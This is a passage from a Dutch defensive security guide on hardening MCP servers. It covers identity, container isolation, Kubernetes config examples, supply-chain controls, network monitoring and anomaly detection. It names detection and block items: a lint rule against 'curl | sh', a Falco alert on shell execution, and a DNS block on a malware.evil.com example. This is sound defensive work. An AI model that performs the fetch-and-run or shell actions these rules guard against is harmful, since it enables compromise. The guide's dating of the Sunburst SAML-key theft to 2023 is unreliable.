  • Trust boundary analyse: definieer duidelijk welke IdP’s vertrouwd worden, hoe transitie plaatsvindt, en check dat tokens van externe IdP’s minder privileges krijgen (bijv. een externe user mag niet alles).
• Workload identity (SPIFFE/SPIRE): In cloud-native context kan men MCP-servers identificeren via SPIFFE IDs en die gebruiken om onderling te auth’en. Bv. een MCP client running in K8s pod krijgt een SPIFFE JWT die de server vertrouwt. Dit vermijdt menselijke API keys. Workload identity zorgt dat machines zichzelf authenticeren. In scenario MCP server (tool) <-> een database of cloud API is dit relevant: gebruik workload identity i.p.v. ingebakken cred. Het voegt aan security toe dat compromitteren van één service niet direct keys prijsgeeft (sleutels zitten in orchestrator).
  • Concreet: Als men MCP-servers in bijv. GKE draait, gebruik GCP Workload Identity voor Google API calls, i.p.v. een OAuth token in config. Dan als server gekraakt wordt, kan attacker niet eenvoudig buiten dat cluster opereren zonder clustercompromis.
• Just-In-Time (JIT) access voor AI-agenten: Het concept van JIT is om credentials pas te verstrekken op moment van noodzaak en direct weer in te trekken. Toegepast op MCP: i.p.v. een AI agent continu brede toegang te geven, zou je kunnen integreren dat elke keer dat AI iets wil (bijv. “delete records”), er op dat moment een fine-grained token wordt aangevraagd met minimale scope en korte geldigheid. Na actie vervalt het. Dit balanceert risico (token misbruik sterk beperkt) tegen usability (user moet iets vaker toestemming geven of er moet een automated policy zijn).
  • In praktijk: men kan via OAuth “resource parameter” scopes opvragen ad-hoc. Een AI agent zou de IdP kunnen vragen om bv. alleen-lezen vs schrijfrechten tokens afhankelijk van actie. Technisch uitdagend maar conceptueel reduceert het dat een gestolen token alles kan.
  • Alternatief JIT: on-demand provisioning, bijv. de eerste keer dat AI toegang tot een systeem nodig heeft, een flow doorlopen en daarna na gebruik weer de toegang revoke tot user volgende keer toestemming geeft.
  • Dit sluit aan bij principes uit Zero Trust: trust is ephemeral.
• IdP compromise scenario’s: Wat als de Identity Provider (Azure AD, Auth0 etc) zelf wordt gecompromitteerd of een malicious insider heeft? Dan kunnen tokens van MCP’s door de aanvaller gecreëerd worden zonder user. Blast radius is enorm: alle aangesloten MCP-apps vertrouwen immers tokens van die IdP. In 2023 zagen we incidenten waar SAML signing keys gestolen werden (Sunburst), waardoor attacker zich overal toegang gaf. Hier moet men ook aan denken:
  • Strategie: implementeer detecties of restricties dat niet zomaar van rare locaties tokens gebruikt worden. En een break-glass plan: als IdP verdacht is, alle MCP systemen even stilleggen of over naar een backup IdP (als dat kan). Ook kan dual auth concept: dat zowel IdP als nog iets (vb. device attestation) nodig is voor vertrouwen.
  • Containment: Zorg dat als IdP fake tokens uit zou geven, er toch grenzen zijn wat er mee kan. Bijvoorbeeld servers hanteren eigen ACL’s naast de token claims (een vorm van defence in depth).
  • Government context: gebruik bij voorkeur IdP’s die onder eigen regie vallen (bijv. Rijkslogin systemen) zodat minder afhankelijkheid is van derden.

Kortom, identity in MCP gaat verder dan “OAuth werkend krijgen”. Het vereist een IAM-architectuur die robuste is tegen zowel toevallige fouten (gaps) als bewuste aanvallen, en die schaalbaar blijft als AI-workloads groeien. Deze geavanceerde concepten kunnen helpen toekomstige risico’s voor te zijn.

Isolatie & Runtime Controls: container- en sandbox-beveiliging

Gezien de risico’s is sterke isolatie van MCP-processen een must. Het beperken van de impact van een compromise (blast radius) kan gerealiseerd worden door containerisatie, sandboxing en gebruik van kernel security features. We bespreken hier best practices voor het opzetten van MCP-servers in een Kubernetes/cloud omgeving, alsook geavanceerde isolatie-opties (microVMs, eBPF, enclaves).

Container & sandbox architectuur best practices

De meeste MCP-servers zijn gewoon kleine webservices of CLI-tools – ideale kandidaten om in containers te draaien met restrictieve settings. Door “Secure-by-Default” containerconfiguratie kunnen hele klassen van aanvallen worden voorkomen of hun impact verminderd[20][84]:

• Security Context hardening (Pod/Container SecurityContext): Stel voor elke MCP-container een streng securityContext in:
  • runAsNonRoot: true – dwing af dat de containerproces niet als root user loopt[85][86]. Build je image zodanig dat er een niet-root gebruiker is (anders start hij niet). Dit voorkomt dat een breakout direct host-root is.
  • allowPrivilegeEscalation: false – sta niet toe dat de processen binnen de container via setuid of andere trucs meer privileges krijgen[87][88]. Dit vlaggetje default op true, dus expliciet op false zetten is nodig. Hierdoor kunnen ook bepaalde bekende escapes (via CAP_SETUID misbruik) niet.
  • readOnlyRootFilesystem: true – mount het filesystem van de container root als read-only. MCP-servers hebben normaliter geen behoefte om eigen binaries te wijzigen. Schrijfbare directories kun je specifiek als volume mounten (/tmp of /data). Dit voorkomt dat een exploit zichzelf of systeemtools kan wijzigen (bijv. niet even /bin/sh trojanizen).
  • Capabilities: drop: [“ALL”] en vervolgens alleen benodigde capabilities toevoegen als werkelijk nodig (vaak geen). Standaard heeft een niet-privileged container nog ~14 capabilities[89]. Door ALLE te droppen maak je de container heel beperkt. Sommige dingen als DNS resolving werken nog, maar raw socket bijv. niet. In MCP context meestal prima, tenzij een tool iets specifieks moet (NET_BIND_SERVICE als men <1024 port wil openen, etc. – maar dat kan je dan expliciet adden)[90][91].
• Privileged flag uit: uiteraard geen privileged: true containers[92][93]. Dat geeft alle capabilities en is een groot nee (tenzij echt noodzakelijk, wat hier niet zo is).
  • Seccomp en AppArmor: indien mogelijk, gebruik een seccomp-profiel (bv. default of custom) om systeemcalls te beperken. Idem AppArmor profile (bij k8s kan je bijv. runtime/default seccomp instellen en apparmor naar docker-default of eigen). Dit is extra laag: veel MCP’s draaien prima met default restricted syscalls.

Een voorbeeld van zo’n container securityContext:

containers:
– name: mcp-server
  image: myregistry/mcpserver:1.0
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    allowPrivilegeEscalation: false
    readOnlyRootFilesystem: true
    capabilities:
      drop: [“ALL”]

(NB: runAsUser moet verwijzen naar een user-id die in de image bestaat, bv. in Dockerfile: RUN adduser -u 1000 mcp.)

• Filesystem isolatie & volumes: Zoals genoemd: root FS read-only. Maak specifieke directories schrijfbaar via volumes, en geef alleen toegang tot wat nodig is. Bijvoorbeeld een MCP die config file nodig heeft: mount een ConfigMap read-only. Data-output? Bepaal een specifieke /data volume. Dit minimaliseert dat een aanvaller willekeurig overal troep kan dumpen of scripts kan plaatsen.
• Netwerk microsegmentatie (NetworkPolicy): In Kubernetes kun je fijne regels instellen wat pods aan netwerkverkeer mogen:
• Egress allow-list: Beperk uitgaand verkeer van een MCP-server tot de echt noodzakelijke endpoints. Bijvoorbeeld als een MCP alleen met Slack en Google Drive API praat, open alleen naar die hosts (via domain egress policy of static IP ranges). Alles anders drop. Dit voorkomt dat een compromised container vrij kan scannen of data exfiltreren naar een random host. Een voorbeeld NetworkPolicy: “`yaml kind: NetworkPolicy metadata: name: mcp-egress-allowlist spec: podSelector: matchLabels: app: mcp-server policyTypes: [“Egress”] egress:
• to:

• namespaceSelector: {} # bijv. naar interne namespace
• ipBlock: cidr: 142.250.0.0/16 # Google API range ports:
• protocol: TCP port: 443 “` Hier moet je tailor-made IPs/hostnames invullen. Desnoods gebruik egress-gateway proxies om domain-namen te whitelisten.

• Ingress restrictions: Als de MCP-server niet van buiten cluster benaderd hoeft te worden, sluit inbound verkeer van buiten. Bijv. alleen allow van bepaalde app-pod of none (als alleen user via port-forward). Dit voorkomt dat een interne MCP onbedoeld van overal bereikbaar is (Backslash’s NeighborJack vulnerability kwam voort uit MCP’s die op 0.0.0.0 en open network stonden[94]).
• Runtime protectie (IDS/IPS in container): Overweeg tools als Falco (CNCF) die op kernel niveau runtime gedrag in de gaten houden: bv. een regel dat als binnen de container een execve naar sh of powershell gebeurt, dat alert is (dat zou bij exploit direct gezien zijn). Falco kan proces-namen, network connects etc. live monitoren. Het is geen vervanging voor isolatie maar een aanvulling – detecteert wanneer iemand de isolatie probeert te misbruiken.
• Kubernetes Pod Security Admission: Nieuwere Kubernetes versies hanteren Pod Security Levels (Baseline/Restricted). Zorg dat MCP pods aan Restricted profile voldoen. Dit afdwingen betekent geen hostPath mounts, geen privilege, enz. Dit sluit veel gaten (iemand kan niet stiekem host /etc mounten bijvoorbeeld).

Door bovenstaande krijgt een eventuele aanvaller die een MCP-container weet te compromitteren geen eenvoudige route naar de host of netwerk. Hij zit opgesloten in een jail met minimale rechten en connectiviteit. Ideaal zou een container zelfs als niet-root user zonder schrijfpermissies niks kunnen permanent maken een herstart wist sporen.

Geavanceerde isolatie: microVM’s, eBPF, HSM, confidential computing

Voor zeer kritieke toepassingen (bv. MCP die met staatsgeheimen omgaat of industriële controles) kun je nog een stap verder gaan in isolatie dan standaard containers:

• MicroVM deployment: Technologieën als Amazon Firecracker en Cloud Hypervisor stellen je in staat containers in extreem lichte VMs te draaien. Dit geeft bijna VM-level isolatie (sterke hypervisor scheiding) met container snelheid. Een MCP-server in een Firecracker microVM zou zelfs bij kernel escape nog niet direct de host bedreigen. Het is overhead (en wat lastiger opschalen), maar voor hoog risico workloads zoals OT-omgeving MCP’s is dit het overwegen waard. Kata Containers is een project wat containerd integratie met microVM’s doet. Het Rijk zou voor bv. defensie-gerelateerde AI-agents microVMs kunnen afdwingen.
• eBPF monitoring & enforcement: eBPF kan op kernel-niveau policies opleggen en gedrag monitoren. Bijvoorbeeld tools als Cilium met Tetragon kunnen specifieke syscalls blokkeren of loggen op procesniveau. Je kan een eBPF probe zetten dat bijvoorbeeld geen execve mag van bepaalde binaries, of dat alle netwerk trafiek logt. Dit is vergelijkbaar met Falco maar vaak efficiënter en krachtiger (direct in kernel hooking). Je kunt zelfs mini-firewall rules per pod als eBPF, hoewel Kubernetes dat al doet. eBPF is vooral goed voor detectie: anomaliën in systemcalls zijn zo te detecteren met minimale overhead.
• Hardware Security Module (HSM) integratie: MCP-servers beheren vaak secrets (OAuth client secrets, API keys). Die kun je beschermen door ze nooit in plaintext in geheugen of disk te hebben, maar door een HSM/KMS te gebruiken. Bijvoorbeeld: een MCP server die een token wil signen of decrypten, roept een cloud KMS API aan en krijgt het resultaat, zonder dat de key ooit in container is. Azure, AWS bieden dit, of on-prem HSM apparaat. Voor overheid zeer aantrekkelijk ivm. sleutelsoevereiniteit. In runtime aspect: al compromise van server geeft attacker niet de sleutel; hij kan hoogstens calls doen zolang hij draait (en KMS kan rate-limit of ongebruikelijke usage detecteren).
  • Een specifiek idee: Als je eigen Authorization Server draait voor MCP, bewaar diens signing keys in HSM. Dan kan bij een server hack de attacker geen nieuwe tokens signen als de HSM dat blokkeert.
• Confidential Computing (TEE – SGX, SEV): Dit is cutting-edge: een MCP-server in een Trusted Execution Environment laten draaien zodat zelfs de cloudprovider of OS niet in de geheugeninhoud kan kijken. Intel SGX en AMD SEV zijn voorbeelden. Een scenario: een zeer gevoelige MCP (bv. eentje die medische data verwerkt) draait in een SGX enclave op Azure Confidential Computing. Dit maakt het voor een aanvaller die OS root wordt (bv. via een cloud exploit) toch heel lastig om de enclaved code en data te stelen. Het beschermt ook tegen cloud admins.
  • Dit is nog beperkt (enclaves hebben geheugenlimieten en compatibiliteitsissues), maar steeds meer standaard software kan erin. Eventueel zou je kunnen wachten op Confidential VMs (zoals Google’s AMD SEV VM’s) waar je hele VM encrypted is tegen host inspectie. Dan in die VM draait container – geeft ook isolatie.
• Dedicated instance / bare metal isolatie: Simpeler alternatief: draai de meest kritieke MCP-servers op dedicated hardware of bare-metal instances, gescheiden van andere workloads. Dan als er wat is, is de schade geïsoleerd tot die machine en niet meteen de hele cluster. Dit lost natuurlijk niet app-level compromise op, maar wel reduces blast radius.

Het toepassen van zulke geavanceerde isolatie is een kosten/baten afweging. Overheid Shared Services met zeer vertrouwelijke data zouden pionieren met confidential computing om burgerdata te beschermen, terwijl een startup wellicht genoeg heeft aan containers. De trend gaat wel die richting op: defense-in-depth op infrastructuurniveau. Als aanvaller door app laag breekt, vangt container; als container breekt, vangt hypervisor (microVM); als hypervisor faalt, heb je nog encryption (TEE). Dit meerlagige model maakt de waarschijnlijkheid dat een enkele kwetsbaarheid tot volledige compromise leidt astronomisch klein – ideaal voor hoog-risico omgevingen.

Concrete configuratievoorbeelden

Hier twee concrete snippet voorbeelden als referentie voor implementatie:

• Kubernetes NetworkPolicy voorbeeld (egress allow-list):

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: mcp-egress-allowlist
  namespace: default
spec:
  podSelector:
    matchLabels:
      app: mcp-server
  policyTypes: [“Egress”]
  egress:
    – to:
        – namespaceSelector: {}  # bv. interne namespace
        – ipBlock:
            cidr: 10.20.0.0/16    # voorbeeld IP-range van bekende API
      ports:
        – protocol: TCP
          port: 443

Toelichting: Deze policy zorgt dat pods met label app=mcp-server alleen uitgaand verkeer mogen hebben naar IPs in 10.20.0.0/16 (stel dat is intern of trusted) en naar alles binnen cluster (namespaceSelector {}). Overig egress is verboden. Dit dwingt je wel om correcte IPs/domeinen in te vullen. In productie kun je voor elk extern API dat de MCP server moet contacteren een ipBlock of FQDN via egress-gateway instellen.

• Pod SecurityContext voorbeeld (geen root, geen escalation, drop caps):

apiVersion: apps/v1
kind: Deployment
metadata: { name: mcp-server }
spec:
  template:
    metadata:
      labels: { app: mcp-server }
    spec:
      containers:
      – name: server
        image: myrepo/mcpserver:2.0
        securityContext:
          runAsNonRoot: true
          runAsUser: 1000
          allowPrivilegeEscalation: false
          readOnlyRootFilesystem: true
          capabilities:
            drop: [“ALL”]

Toelichting: Dit komt overeen met de besproken hardening: user 1000 wordt gebruikt, het proces mag z’n privileges niet verhogen, het root filesystem is niet beschrijfbaar, en er zijn geen Linux capabilities toegekend (dus zelfs als de container proces root inside was, kan hij weinig op host door gebrek aan capabilities). Deze instellingen zijn conform de “restricted” PodSecurityPolicy standaard[95][96] en worden door tools als Kubesec hoog gewaardeerd.

Door dergelijke concrete configs op te nemen in de CI/CD (bijv. in helm charts of manifests) verzekert men dat elke MCP deployment automatisch de juiste beveiligingssettings heeft. In audits en attestaties kan men dit tonen als bewijs van “security by default”.

Supply Chain Security & SBOM veilige softwareketen voor MCP

MCP-software is vaak open-source en bestaat uit een keten van afhankelijkheden (node packages, pip libs, docker images). Een compromis in de supply chain (foute update, dependency met malware, typosquat) kan desastreus zijn. Hier bespreken we hoe een Software Bill of Materials (SBOM) en continue scanning helpen, evenals maatregelen om trust in code en containers te vergroten (image signing, SLSA compliance, typosquatting protectie).

Uitgebreide supply chain beveiliging

• Dependency mapping & transitieve analyse: Je moet precies weten welke componenten in jouw MCP-ecosysteem zitten. Maak voor elke MCP-server (en client) een SBOM – dit kan met tools als Syft of CycloneDX generator. Analyseer niet alleen directe dependencies maar ook transitieve (de dependencies van dependencies)[97][98]. Veel supply chain risk zit namelijk in diepere lagen. Bijvoorbeeld mcp-remote hangt wellicht af van een HTTP library – als dáár een CVE in zit voor path traversal, moet je het weten. Correleren SBOM met bekende CVEs (via NVD databases of GitHub Advisory) geeft inzicht in kwetsbaarheden binnengekomen via de keten. Dit moet een doorlopend proces zijn, niet eenmalig.
• Continue scanning & CI-integratie: Automatiseer vulnerability scanning in de CI/CD pijplijn:
  • Gebruik tools als Trivy, Grype, Snyk om Docker images en code dependencies te scannen op bekende kwetsbaarheden bij elke build. Stel een policy: build mag niet door als critical vulns gedetecteerd (tenzij uitzonderlijk geaccepteerd).
  • Maak het ontwikkelaars makkelijk: integreer Snyk of GitHub Dependabot zodat ze PR’s krijgen voor updates als er iets uitkomt. JFrog’s Xray kan ook integreren in Artifactory pipeline[84][28].
  • Let wel: false positives managen, en zero-days worden niet zo gevonden (daar heb je heuristics/hints nodig).
  • Na deploy: continue scanning van live images in registry. Tools als Anchor Engine of Aqua CSP kunnen periodiek images rescannen tegen nieuwe CVEs – zo mis je niet dat een lib gisteren veilig was maar vandaag kwetsbaar (zoals bij log4j gebeurde).
• Image signing & provenance (Sigstore, Cosign): Handhaaf dat alle container images cryptografisch getekend zijn (door de CI of developer) en verifieer die voor ze gerund worden. Cosign (Sigstore) maakt dit makkelijk: na build cosign sign –key $PRIVATE_KEY image:tag, en in cluster een admission controller (bijv. OPA Gatekeeper of Kyverno) die checkt cosign verify met de public key. Dit zorgt dat alleen beelden die van jullie officiële pipeline komen draaien. Hierdoor voorkom je dat een aanvaller stiekem een image vervangt of iemand per ongeluk “mcp-server:latest” van Docker Hub draait die gekaapt is.
  • Daarnaast kan Cosign ook SBOM’s attachen (in OCI registry as artifact). Dan heb je een cryptografisch gelinkte SBOM.
• Provenance (SLSA Level 2-3): Ga richting SLSA level 3 door build provenance bij te houden. In praktijk: gebruik Tekton Chains of GitHub OIDC to sign provenance stating which Git commit en actions is gebruikt voor build. Dit kan helpen bij incidenten (je weet welke build wat produceerde) en voorkomt tampering (signature mismatch = niet van echte pipeline).
• SLSA compliance assessment: Doe een gap-analyse waar je staat op de SLSA ladder:
  • SLSA1: scripts, niet erg vertrouwd – iedereen begint zo.
  • SLSA2: gebruik een build service (bv. GitHub Actions) met signed provenance.
  • SLSA3: ephemeral isolated builds + signed everything.
  • Voor kritieke MCP components zou SLSA3 een streven moeten zijn: dat betekent o.a. streng gecontroleerde build omgeving en hermetische builds (geen inetrnet direct, alleen pinned deps).
  • Roadmap: wellicht kan men in 90 dagen tijd van SLSA0 naar SLSA2 komen door Cosign & GitHub Actions OIDC signing in te voeren. SLSA3 kost meer (zelf build infra opzetten of Tekton + in-toto verifications).
• Typosquatting protectie: Zoals genoemd, typosquatting is een reëel risico aanvallers publiceren mcp_remote of mcp-romeet packages.
• Mechanismen: gebruik een afhankelijkheden firewall. Bijvoorbeeld, Artifactory of Nexus repository manager waarin je whitelisted pakketten en versies. Nieuwe externe afhankelijkheid? Vereist manual approval. Dit voorkomt dat een dev achteloos een foute lib binnenhaalt.
  • Er zijn ook monitoring diensten (Sneak & others) die verdachte nieuwe packages melden (bijv. die heel erg lijken op populair package naam).
  • Installeer in CI een check: als package naam closly matches een bekende (Levenshtein distance 1) -> fail build tenzij expliciet goedgekeurd.
  • Voor Node/npm specifiek: lock down naar bekende sources en laat npm install niet vrij internet op (evt. via npm config set registry <private> plus verdedig dat registry).
  • Educatie: ontwikkelaars bewust maken van deze tactiek is ook key, dat ze niet eigenhandig libs updaten door naam te typen zonder check.

Kortom, zorg dat alle elementen in de MCP softwareketen inzichtelijk en gecontroleerd zijn. Beknibbel hier niet op tooling de kosten van een misser (supply-chain breach) zijn gigantisch, en tegenwoordig is tooling als SBOM generation en signing goed te automatiseren.

Manifest security & governance

Naast code moeten ook deployment manifesten, configuraties en tool registries beveiligd en beheerst worden om supply chain integriteit te garanderen:

• Cryptografische signing van tool manifesten: Als je een MCP tools catalogus hebt (bijvoorbeeld Docker’s MCP Catalog, of intern een lijst van goedgekeurde MCP servers), sign deze lijsten. Zodat een aanvaller niet onopgemerkt stiekem een malafide tool kan toevoegen. Dit kan met een simpel PGP signen van een JSON of een merkle-tree (in blockchain-stijl). Main point: iedereen moet kunnen valideren dat de tooling lijst/authenticiteit nog klopt.
  • Dit geldt ook voor configbestanden van AI-agents waarin MCP servers staan (zoals de JSON config van Claude Desktop). In enterprise context zou je die central beheerd en gesigned willen (zodat user niet eigen shady server toevoegt).
• Gecontroleerde package registry (binaries/images): Gebruik bedrijfsinterne registries voor alle MCP gerelateerde artefacten:
• Container Registry (bijv. Harbor, Artifactory): Hier zet je al je eigen images en eventueel mirrors van externe (met scanning). Je kunt policies instellen, bv. dat images met high vulns niet gedraaid mogen.
• Package registries proxy: voor npm/pip crates – draai een verdedigende proxy die caching doet en eventueel scanning. Dit voorkomt supply chain aanvallen direct van publieke repos.
• Dit centraliseren geeft ook de kans tot access control: je kunt bijvoorbeeld regelen dat alleen CI pipeline user packages binnenhaalt of publish. Developers direct kunnen niet zonder meer pakweg npm install van internet.
• Policy as Code voor supply chain governance: Implementeer regeltjes via OPA/Gatekeeper of Kyverno die supply chain best practices afdwingen:
  • Bv. Gatekeeper regelt: “Alle images moeten van registry.company.com komen en signed zijn met cosign door trusted signer, anders mag Pod niet runnen.” Dit voorkomt afwijking.
  • Of: “Containers mogen niet :latest tag gebruiken” (want dat is ongedefinieerde versie, risk).
  • “Niet meer privileges dan nodig”: in context supply chain, er zijn policies om Dockerfiles te linten (bv. check geen curl | sh direct).
  • Policy as Code betekent ook compliance checks integreren: je kunt schrijven “alle apps moeten SBOM hebben in repository” en dat periodiek controleren.
• Incident response voor dependency issues: Ontwikkel een procedure voor het geval een dependency later als malicious of kwetsbaar wordt ontdekt:
  • Hoe vind je welke interne projecten die lib hebben? (SBOM inventory, booleans search).
  • Hoe snel kun je die vervangen/pachten? (mass automated PR’s? y/n).
  • Isolate: als er een red-flag lib is, kun je bv. dat proces uit production halen tot fix (moeilijk als core dependency).
  • Blast radius assessment: als een compromise lib secrets steelt, welke secrets? Logging & egress monitoring kunnen helpen inschatten wat er uitging (vb. als log4shell actief was: had je outbound LDAP/?).
• Remediatie & lessons learned: root cause: was het gebrek aan scanning? niet op tijd geüpdatet? dat fixen voor toekomst.

Al met al vergt supply chain security voor MCP dezelfde discipline als voor traditionele software, maar met extra urgentie omdat AI-omgevingen nieuwe aantrekkingskracht voor aanvallers zijn. Een goed beveiligde supply chain geeft trouwens ook een audit trail: je kunt bij elk AI-resultaat later aantonen met welke versies van tools en code dat tot stand kwam, wat onder AI Act waarschijnlijk vereist zal worden (traceerbaarheid van AI besluiten). Dus het loont dubbel.

Netwerk Security: geavanceerde controles en gedragsanalyse

MCP introduceert dynamisch netwerkverkeer tussen AI-agents en allerlei bronnen. Dit verkeer moet streng beveiligd en gemonitord worden om dataverlies, C2-communicatie en misbruik te detecteren. Hier bespreken we geavanceerde netwerkcontrols (egress analyse, DNS security, TLS inspectie, service mesh) en gedragsanalyse (baselining, anomaly detectie, DLP).

Geavanceerde netwerkcontrols

• Egress traffic analyse & patroonherkenning: Zoals eerder aangegeven is egress filtering stap 1 (beperken). Daarnaast wil je inzage in wat normaal is voor MCP-verkeer. Bijvoorbeeld: een MCP-server die normaal alleen naar .googleapis.com en .slack.com praat zou nooit ineens vele verbindingen naar onbekende IP’s moeten openen. Door baseline profiling (log historisch egress dests, volume, tijden) kun je thresholds afleiden. Moderne NDR (Network Detection & Response) oplossingen gebruiken ML om uitgaand verkeer van hosts te clusteren en afwijkingen te spotten. Dit is nuttig voor MCP omdat aanvallers hierop leunen voor exfil (ze moeten immers via netwerk weg). Een geavanceerde egress analytics tool kan bijv. detecteren dat een container die altijd 100KB/h naar Google stuurde ineens 50MB naar een rare AWS IP stuurt – indicator to investigate.
• DNS security & monitoring: MCP-servers kunnen DNS gebruiken om endpoints te resoven. Aanvallers kunnen DNS tunneling misbruiken of gebruikmaken van het feit dat DNS vaak minder gemonitord is om data te lekken (door data in subdomain te zetten). Implementatie:
  • Gebruik interne DNS resolvers en logging. Bijvoorbeeld Active Directory DNS of CoreDNS laten loggen welke queries vanaf MCP pods komen. Tools als DNSGuard of SIEM kunnen rare domain verzoeken spotten (bv. een extreem lang base64 subdomain? dat duidt op tunneling).
• DNS filtering: Overweeg een DNS firewall (zoals op Pi-hole concept of Cloudflare Gateway) waarin bekende malafide domeinen geblokkeerd worden. Als een compromised MCP probeert naar malware.evil.com te resolven, wordt dat geweigerd en gelogd.
  • DoT/DoH interceptie: Als je egress restricties hebt, voorkom dat een container eigen DoH (DNS over HTTPS) doet naar buiten, anders omzeilt hij je DNS logs. Sluit poort 853 of monitor port 443 flows naar known DoH endpoints (via SNI inspectie).
  • Dit sluit aan bij NCSC-richtlijnen dat DNS-beveiliging integraal deel van netwerksecurity moet zijn (voorkom dat je DNS over het hoofd ziet).
• TLS inspectie (en pinning strategie): Veel MCP-verkeer is TLS versleuteld (bv. AI tool naar cloud API). Dit is goed, maar hindert wel monitoring. Organisaties kunnen overwegen TLS interceptie op uitgaand verkeer toe te passen via een proxy/SSL middlebox, om te kunnen zien wat er verstuurd wordt (voor DLP bijv.). Echter, dit is complex:
  • Technisch: je moet een trusted CA cert in containers/agents hebben, en een proxy zoals Zscaler, BlueCoat of open source mitmproxy cluster. Dit kan performance en privacy issues geven.
  • Strategisch: TLS break-and-inspect wordt afgeraden door privacy toezichthouders tenzij nodig, maar bij uitgaand bedrijfsspul is het toegestaan mits doelgericht (zie ook AVG, mocht alleen voor secdoeleinden).
  • Certificate pinning: Sommige API-clients pinnen certs (sluit interceptie uit). In eigen MCP-code kun je dat uitzetten als je interceptie wilt.
  • Waarschijnlijk is een meer pragmatische aanpak: interceptie alleen voor bepaalde kritieke data flows, en anders hopen op endpoint logs.
  • Minimale eis: Als men geen intercept doet, gebruik dan zeker SSL/TLS monitoring (zoals JA3/SNI detection) om tenminste te zien naar welke hosts TLS gaat en of het bekende patterns zijn. Dit helpt bij anomaly detectie (als een trojan erin zit die naar rare C2 gaat, zie je dat).
  • Ook certificate pinning: als je een eigen internal MCP service hebt, pin de certificaten of gebruik private PKI zodat aanvaller niet gemakkelijk kan mitm’en. Cloud providers pinnen meestal hun endpoints wel dat PKI moet kloppen.
• Service Mesh integratie (Istio/Linkerd): Een service mesh kan zero-trust networking binnen cluster faciliteren:
  • Alle verkeer tussen services mTLS, met identity (Spiffe) – dus als iemand in cluster nep service opzet kan hij niet zomaar meekijken/praten zonder valid cert. Dit voorkomt ook een boel sniffing/leaking intern.
  • Mesh biedt policy: je kunt in Istio bijvoorbeeld declareren “Service A mag alleen praten met B op endpoint /x met GET”. Zulke fine policies zijn mogelijk. Voor AI flows is dat wellicht granular (maar kan als je de patterns kent).
  • Observability van mesh: je krijgt metrics per call, wat handig is om afwijkingen op te merken.
  • Voor MCP specifiek: een mesh kan identificeren “hey dit is een ‘mcp-client’ service account die praat met ‘mcp-server’ account, klopt dat?” en anderen blokkeren.
  • Istio heeft ook WAF filters mogelijk in de mesh om bepaalde payloads te inspecteren (dat is wel expert use).
  • Nadeel: complexiteit overhead.

Samengevat, een combinatie van traditionele netwerkaanpak (filtering, logging) en moderne Zero Trust (mesh) is wenselijk. Kleinere organisaties kiezen eerder de simpele egress filtering + cloud firewall route; grotere kunnen meshes uitrollen.

Gedragsanalyse & monitoring

Naast statische regels is gedragsgebaseerde detectie essentieel omdat AI-workloads onvoorspelbaar kunnen zijn en signature-based detectie tekort schiet voor nieuwe aanvallen:

• Baseline modeling (normaal verkeers- en gebruikspatroon): In de eerste weken van MCP-uitrol zou men moeten loggen hoeveel requests gaan er van AI agent naar specifieke tools, op welke tijden, wat voor data volumes. Ook CPU/memory patronen van MCP-servers. Dit definieert een “normaal model”. Bijvoorbeeld: een normale prompt injection-luwe sessie heeft een bepaald aantal toolcalls per uur, van een zekere gemiddelde lengte. Als ineens een outlier (100 toolcalls in een minuut of 500KB responses terwijl normaal 5KB) optreedt, kan dat duiden op misbruik (LLM gaat loop, of data exfil poging). Simpelweg statistische drempels instellen (mean + 3σ) kan al aanvallen vangen zonder precies hun signature te kennen.
• Anomaliedetectie via ML: Er komen producten en open source oplossingen die specifiek AI workflow anomaliën leren. Bijvoorbeeld een ML model dat sequences van toolgebruik analyseert (met GNN of LSTM) en leert wat typische sequenties zijn. Een prompt injection of hack kan een geheel nieuwe sequence genereren (bv. opeens sendEmail tool 20x achter elkaar, wat nooit eerder voorkwam). Een GNN zou dat als afwijkend kunnen scoren. Red Canary en anderen publiceren research in dit domein[99].
  • In huis kan men iets simpeler: unsupervised outlier detection op features als “unusual combination of tools used”, “commands executed deviating from user profile”.
  • Dit is wel lastig goed af te stellen; best gecombineerd met context (nachttijd, user, etc).
• DLP integratie: Data Loss Prevention systemen monitoren bijvoorbeeld of gevoelige data (persoonsgegevens, creditcards, BSNs) uitgaand gaan. Men kan DLP hooking in MCP-traffic doen:
  • Als je TLS intercept doet, laat DLP die content scannen.
  • Of instrumenteer de MCP server code om voordat hij een response geeft, even tekst door DLP classifier (bv. regex voor SSN) te halen. Als er potentieel gevoelige data uit een DB of doc komt, log dat of maskeer. Dit voorkomt dat een LLM via MCP vertrouwelijke info naar buiten babbelt.
  • Voor chat content zelf kan een DLP bot meelezen wat AI zegt en alarm slaan als gevoelige woorden (bijv. “Kroonjuwelen plan: …”).
  • Voor de overheid kan dit ook juridisch interessant zijn: voorkomen dat staatsgeheimen (die misschien via MCP opvraagbaar zijn?) onbedoeld in publieksantwoorden belanden. Misschien is HPC.
• User behavior analytics: AI tools worden door mensen aangestuurd; gedrag van gebruikers kan ook gemonitord. Als een gebruiker ineens via AI allerlei ongebruikelijke acties doet (bv. in korte tijd mails downloaden, bestanden verwijderen via MCP), kan UBA dat zien als afwijking. Mogelijk is het niet de gebruiker maar een overgenomen sessie of malicious prompt. Dus integratie met SIEM en UEBA modules waar “via AI agent X worden Y gedaan” in de heuristiek zit, is nuttig.

Belangrijk is wel om false positives te minimaliseren en meldingen actionabel te houden. Een geleidelijke aanpak is slim eerst inzicht (dashboards met deze metrics), dan alerts op zeer duidelijke afwijkingen, dan finetunen.

Slot netwerk: In een Zero Trust benadering is het motto: “log alles, trust nothing zonder verificatie, en kijk continu over de schouder mee voor iets ongebruikelijks.” Netwerkbeveiliging voor MCP moet dit reflecteren door streng toe te laten en scherp te observeren. Dit vereist initieel investering (in tooling, egress infra, ML models), maar de payoff is dat je die verborgen aanvalssignalen, die in traditioneel verkeer zouden ondergaan, hier eruit vist en tijdig kunt ingrijpen.

Observability & Incident Response: logging, detectie, respons

Observability by design is cruciaal: je moet weten wat AI en MCP’s uitspoken om incidenten te kunnen detecteren en onderzoeken. In deze sectie bespreken we logging architectuur (gestructureerd loggen, SIEM integratie, audits, performance), detectie engineering (hunting queries, geautomatiseerde respons) en geven we enkele voorbeeld detectieregels specifiek voor MCP-activiteit.

Logging architectuur en monitoring

